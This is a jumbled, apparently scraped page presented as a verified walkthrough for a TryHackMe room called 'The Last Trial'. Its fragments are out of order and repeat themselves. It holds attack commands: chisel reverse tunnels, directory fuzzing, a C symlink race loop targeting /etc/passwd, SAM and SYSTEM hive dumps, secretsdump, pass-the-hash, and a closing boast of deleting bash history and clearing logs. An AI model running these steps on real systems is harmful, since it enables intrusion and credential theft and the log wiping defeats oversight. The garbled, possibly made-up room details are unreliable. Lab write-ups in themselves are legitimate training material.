The Last Trial Tryhackme Verified -

./chisel client YOUR_IP:8000 R:socks Use proxychains to SSH into Machine 2:

gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,zip Look for /dev/ , /notes/ , or a .git/ directory. The last trial hides an SSH key in a .git cache. Step 3: The "Hidden API" Endpoint One element unique to this room is a hidden GraphQL endpoint at /api/graphql . This is not documented. Use ffuf to fuzz for API endpoints: the last trial tryhackme verified

#include <stdio.h> #include <unistd.h> #include <sys/stat.h> int main() { while(1) { symlink("/etc/passwd", "/root/verified.flag"); unlink("/root/verified.flag"); } return 0; } This is not documented

./chisel server -p 8000 --reverse On Machine 1 (root): The verified path is not a simple sudo -l or dirty pipe

Many guides suggest a reverse shell via bash -i , but the verified method uses python3 -c 'import pty; pty.spawn("/bin/bash")' for stability. Phase 3: Privilege Escalation – The Real Test Now on the first machine (Ubuntu 20.04), you need root. The verified path is not a simple sudo -l or dirty pipe. The room uses a custom SUID binary called /usr/bin/verify_access . Analyzing the Binary: Use strings and ltrace :

reg save hklm\sam sam.save reg save hklm\system system.save Download to attacker, use secretsdump.py to get Administrator hash. Pass-the-hash to gain SYSTEM. On Machine 2 as SYSTEM, the final flag is not in a text file. The verified flag is a hexadecimal string stored in the Windows Registry under:

✅ Root on Machine 1 via race condition ✅ SYSTEM on Machine 2 via HiveNightmare ✅ Found and decrypted the registry flag ✅ Submitted the correct final hash to TryHackMe ✅ Deleted bash history and cleared logs (audit passes)